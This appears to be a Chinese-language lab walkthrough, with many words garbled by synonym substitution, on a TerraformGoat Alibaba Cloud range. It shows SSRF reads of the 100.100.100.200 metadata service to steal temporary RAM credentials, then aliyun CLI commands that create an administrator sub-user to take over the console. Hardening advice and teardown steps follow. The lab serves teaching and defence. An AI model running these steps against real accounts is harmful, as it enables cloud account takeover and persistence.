关于云计算:从云服务器-SSRF-漏洞到接管你的阿里云控制台

37次阅读

共计 4268 个字符,预计需要花费 11 分钟才能阅读完成。

0x00 前言

本文将以阿里云为例,对云服务中的一些攻防手法进行演示,首先利用 Terraform 进行 ECS SSRF 破绽环境的搭建,而后通过实例中存在的 SSRF 破绽一步步拿下该云服务账户的所有的阿里云服务权限。

0x01 环境搭建

本文采纳 TerraformGoat 进行靶场的搭建,Terraform 靶场地址:https://github.com/HuoCorp/TerraformGoat

在部署靶场时,须要用到你的阿里云 AccessKey,为了防止影响到你的云上生产环境,因而这里强烈建议应用非生产环境的 AccessKey,不要和生产环境应用同一个账号。

接下来开始搭建靶场,首先克隆靶场我的项目到本地,并构建下载靶场所需的依赖。

git clone https://github.com/HuoCorp/TerraformGoat.git --depth 1
cd TerraformGoat
docker build . -t terraformgoat:v0.0.3
docker run -itd --name terraformgoat terraformgoat:v0.0.3
docker exec -it terraformgoat /bin/bash

如果 github 拜访较慢,能够给终端挂上代理

proxy_url="127.0.0.1:1080" && export https_proxy=http://$proxy_url http_proxy=http://$proxy_url all_proxy=socks5://$proxy_url

在进入容器后,容器会提醒抉择接下来要应用的云服务提供商,这里以阿里云服务为例,输出 2 抉择阿里云后回车。

进入到阿里云 ECS SSRF 靶场门路下,并配置你的 AccessKey

cd /TerraformGoat/aliyun/ecs/ecs_ssrf/
aliyun configure

部署 SSRF 靶场

terraform init
terraform apply

如果 init 初始化比较慢,挂上代理即可

在 apply 期间,会提醒 Enter a value,这时输出 yes 回车即可。

在 Outputs 处,能够看到返回的靶场地址,拜访这个地址,能够看到 SSRF 测试靶场页面,这时就阐明环境搭建完了。

0x02 环境利用

以后环境存在 SSRF 破绽,但和惯例 SSRF 所处的环境不同,这里的 SSRF 破绽是呈现在云服务器上的,这也就意味着咱们能够通过这个 SSRF 破绽获取到该服务器的元数据信息。

拜访元数据

http://100.100.100.200/latest/meta-data

在返回的后果中,能够看到以后环境存在 ram/ 目录,这也就意味着以后云服务器配置了 RAM 角色,这样咱们能够获取到长期凭证了。

通过元数据获取长期凭证

这里 URL 中的 huocorp-terraform-goat-role 是 RAM 角色名称,能够通过拜访 http://100.100.100.200/latest… 获取到。

http://100.100.100.200/latest/meta-data/ram/security-credentials/huocorp-terraform-goat-role

将长期凭证配置到 aliyun 命令行工具里。

aliyun configure --mode StsToken

创立子用户,并赋予管理员权限

aliyun ram CreateUser --UserName teamssix
aliyun ram CreateLoginProfile --UserName teamssix --Password TeamsSix@666
aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix

拜访 https://signin.aliyun.com 页面,通过 RAM 用户进行登录,这里的用户格局为 username@company-alias,其中 username 就是刚刚创立的用户名,company-alias 能够通过上面的这个命令获取到。

aliyun ram GetAccountAlias

这里的 AccountAlias 就是咱们须要的 company-alias,接下来就能够登录控制台了。

输出方才创立用户时的明码

登录后,就能够看到指标的控制台了。

因为方才在创立用户时,赋予了 AdministratorAccess 权限,因而在 RAM 访问控制处能够看到,以后账号领有治理所有阿里云资源的权限。

在云服务 ECS 实例中也能够看到咱们方才搭建的那台 SSRF 靶场服务器。

至此,就实现了利用云服务器上的 SSRF 破绽接管了阿里云控制台。

另外这个环境里还放了一个 flag 文件,你如果感兴趣的话,能够入手去尝试找到这个 flag,Writeup 地址:https://github.com/HuoCorp/TerraformGoat/tree/main/aliyun/ecs/ecs_ssrf

0x03 进攻措施

这个环境的问题除了存在 SSRF 外,还有另外两个次要的问题:

  1. RAM 角色权限过大,导致能够通过该角色的权限进行创立子用户以及给子用户授予高权限等操作
  2. 元数据未做加固拜访,导致一旦指标存在 SSRF 破绽,元数据就存在被获取的危险

那么针对第一个 RAM 角色权限过大的问题,次要还是须要使用者严格遵守权限最小化的准则,在为 RAM 角色赋予权限时,防止赋予过高的权限,只赋予本人所须要的权限,这样能够将影响水平降到最低,然而这并不能治标。

针对第二个元数据未做加固拜访的问题,能够将实例上的元数据拜访模式设置为加固模式,这是一种治标的办法,将元数据拜访模式设置为加固模式有以下两种办法:

  1. 在创立实例时,能够在「系统配置」的「高级选项」中将「实例元数据拜访模式」设置为「仅加固模式」

  1. 在曾经创立好的实例中,能够在阿里云 OpenAPI 中开启元数据强制应用 Token 拜访,OpenAPI 地址:https://next.api.aliyun.com/api/Ecs/2014-05-26/ModifyInstanceMetadataOptions

将 HttpTokens 设置为 required 即示意强制应用加固模式,此时再拜访元数据就会提醒 403 了。

值得一提的是,将元数据设置为加固模式能够避免通过 SSRF 获取到元数据,但如果实例权限被拿下,那么红队还是能够通过在实例上执行获取 token 的命令,而后利用该 token 获取到元数据。

在 Linux 实例中获取 token 的命令如下:

TOKEN=`curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600"`

通过 token 获取元数据

curl -H "X-aliyun-ecs-metadata-token: $TOKEN"  http://100.100.100.200/latest/meta-data/

对于 Windows 实例下的获取办法能够参考阿里云官网文档:https://help.aliyun.com/document_detail/108460.htm

将元数据拜访模式设置为加固模式进而进攻 SSRF 破绽的这个办法由 2h0ng 徒弟提供

0x04 环境删除

删除创立的子账号

aliyun ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix
aliyun ram DeleteUser --UserName teamssix

删除 SSRF 靶场环境,在应用完靶场后,记得及时删除,因为这里创立的云服务是按工夫计费的,该靶场实例的价格为每小时 0.17 元人民币。

在销毁靶场之前,记得把 AccessKey 配置成最开始的 AccessKey,配置命令:aliyun configure –mode AK

terraform destroy

如果想革除 TerraformGoat,能够应用以下命令,如果当前还想进行云上攻防的学习,则能够将 TerraformGoat 环境保留下来。

docker stop terraformgoat
docker rm terraformgoat
docker rmi terraformgoat:v0.0.3

0x05 总结

这里通过云上 SSRF 破绽获取到了长期密钥,通过长期秘钥创立了一个具备管理员拜访权限的子用户,最初通过这个子用户接管了指标的控制台。

然而这个办法在实战中想要应用是有一些前提的,次要前提有以下两个:

  1. ECS 实例须要被授予 RAM 角色,不然拜访长期凭证的元数据会返回 404
  2. RAM 角色须要具备 ram 访问控制的相干操作权限,例如创立用户、赋予权限等,不然长期秘钥会没有创立子用户的权限。

在实战中,如果遇到了 ECS 实例被授予了 RAM 角色的状况,大多时候该角色都是不具备创立用户权限的,这时就没法通过创立子账号登录控制台的形式了,只能通过阿里云命令行工具去操作指标云服务了。

总的来说,云上攻防和惯例的内网攻防还是非常不一样的。

  • 云上攻防的常见问题是配置谬误,例如这里的问题就是 RAM 角色配置权限过高。
  • 云上攻防的权限维持次要办法是创立 RAM 高权限用户,而不是像传统攻防里那样有形形色色的权限维持办法。
  • 云上攻防的内网横向次要是在云服务厂商命令行或者控制台中进行横向,从这个云服务横向到另一个云服务,而不是像传统攻防那样有各种各样的内网横向手法。
  • ……

最初,本文中所提到的很多命令都是参考前线云平安知识库中的内容,知识库地址:https://cloudsec.huoxian.cn,在知识库的首页中能够看到前线云服务攻防矩阵,本文就是根据这个攻防矩阵进行的云上攻防。

如果你还想找到更多云平安资源进行学习,能够拜访 Awesome Cloud Security 我的项目,该我的项目以后曾经收录了上百余条国内外云平安博客、工具、公众号等资源,我的项目地址:https://github.com/teamssix/awesome-cloud-security

参考文章:https://cloudsec.huoxian.cn/docs/articles/aliyun/aliyun_ecs

文章首发于前线 Zone:https://zone.huoxian.cn/
作者:TeamsSix

正文完
 0